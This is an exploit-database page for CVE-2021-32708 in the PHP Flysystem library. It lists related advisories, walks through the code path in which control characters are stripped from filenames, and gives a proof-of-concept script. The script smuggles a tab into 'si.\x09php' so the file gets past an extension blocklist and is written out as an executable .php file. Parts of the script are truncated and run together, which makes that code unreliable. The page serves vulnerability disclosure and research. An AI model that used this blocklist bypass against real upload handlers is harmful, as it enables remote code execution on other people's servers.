| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| Exploit for Time-of-check Time-of-use (TOCTOU) Race Condition in Thephpleague Flysystem | 19 Oct 202412:49 | – | githubexploit | |
| CVE-2021-32708 | 24 Jun 202120:18 | – | circl | |
| thephpleague flysystem 代码注入漏洞 | 24 Jun 202100:00 | – | cnnvd | |
| CVE-2021-32708 | 24 Jun 202116:30 | – | cve | |
| CVE-2021-32708 Time-of-check Time-of-use (TOCTOU) Race Condition in league/flysystem | 24 Jun 202116:30 | – | cvelist | |
| CVE-2021-32708 | 24 Jun 202116:30 | – | debiancve | |
| EUVD-2021-1300 | 7 Oct 202500:30 | – | euvd | |
| [SECURITY] Fedora 33 Update: php-league-flysystem-1.1.4-1.fc33 | 4 Jul 202101:09 | – | fedora | |
| [SECURITY] Fedora 34 Update: php-league-flysystem-1.1.4-1.fc34 | 4 Jul 202101:08 | – | fedora | |
| TOCTOU Race Condition enabling remote code execution | 23 Jun 202123:56 | – | friendsofphp |
assertAbsent($path);
$config = $this->prepareConfig($config);
Util::rewindStream($resource);
return (bool) $this->getAdapter()->writeStream($path, $resource, $config);
}
public function assertAbsent($path)
{
if ($this->config->get('disable_asserts', false) === false && $this->has($path)) {
throw new FileExistsException($path); // whoops
}
}
```
At [1] the `normalizePath` method is called:
```php
class Util
{
//...
public static function normalizePath($path)
{
return static::normalizeRelativePath($path); // 2
}
public static function normalizeRelativePath($path)
{
$path = str_replace('\\', '/', $path);
$path = static::removeFunkyWhiteSpace($path); // 3
$parts = [];
foreach (explode('/', $path) as $part) {
switch ($part) {
case '':
case '.':
break;
case '..':
if (empty($parts)) {
throw new LogicException(
'Path is outside of the defined root, path: [' . $path . ']'
);
}
array_pop($parts);
break;
default:
$parts[] = $part;
break;
}
}
return implode('/', $parts);
}
```
The code calls `normalizeRelativePath` with the attackers supplied filename at [2] and then calls the `removeFunkyWhiteSpace` function at [3]. Let's investigate this function defined in the same class:
```php
protected static function removeFunkyWhiteSpace($path) {
// We do this check in a loop, since removing invalid unicode characters
// can lead to new characters being created.
while (preg_match('#\p{C}+|^\./#u', $path)) {
$path = preg_replace('#\p{C}+|^\./#u', '', $path);
}
return $path;
}
```
In summary the code is stripping the filename of any non-printable characters (invisible control characters and unused code points 0x00–0x1F and 0x7F–0x9F) which can be used to bypass block list checks. But definitely props for the .. check ;-)
# Bonus:
The `assertAbsent` call will throw a `FileExistsException` which leaks the full path of the web root to an attacker if the same file is uploaded. You probably want to fix that information disclosure bug too.
# Example:
researcher@neophyte:~$ php poc.php
(+) vuln
*/
require __DIR__.'/vendor/autoload.php';
if (file_exists("output/si.php")) unlink("output/si.php");
$blocklist = [
'php',
'php3',
'php4',
'php5',
'phtml',
'cgi',
'pl',
'sh',
'com',
'bat',
'',
'py',
'rb',
];
// this would be the attack coming from over the web
$filename = "si.\x09php";
$d = pathinfo($filename);
if (in_array($d["extension"], $blocklist, true)) die("(-) blocked, nice try attacker!\r\n");
$adapter = new League\Flysystem\Local\LocalFilesystemAdapter(__DIR__.'/output');
$filesystem = new League\Flysystem\Filesystem($adapter);
$str = "writeStream($filename, $stream);
echo file_exists("output/si.php") == true ? "(+) vuln\r\n" : "(+) not vuln\r\n";
?>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation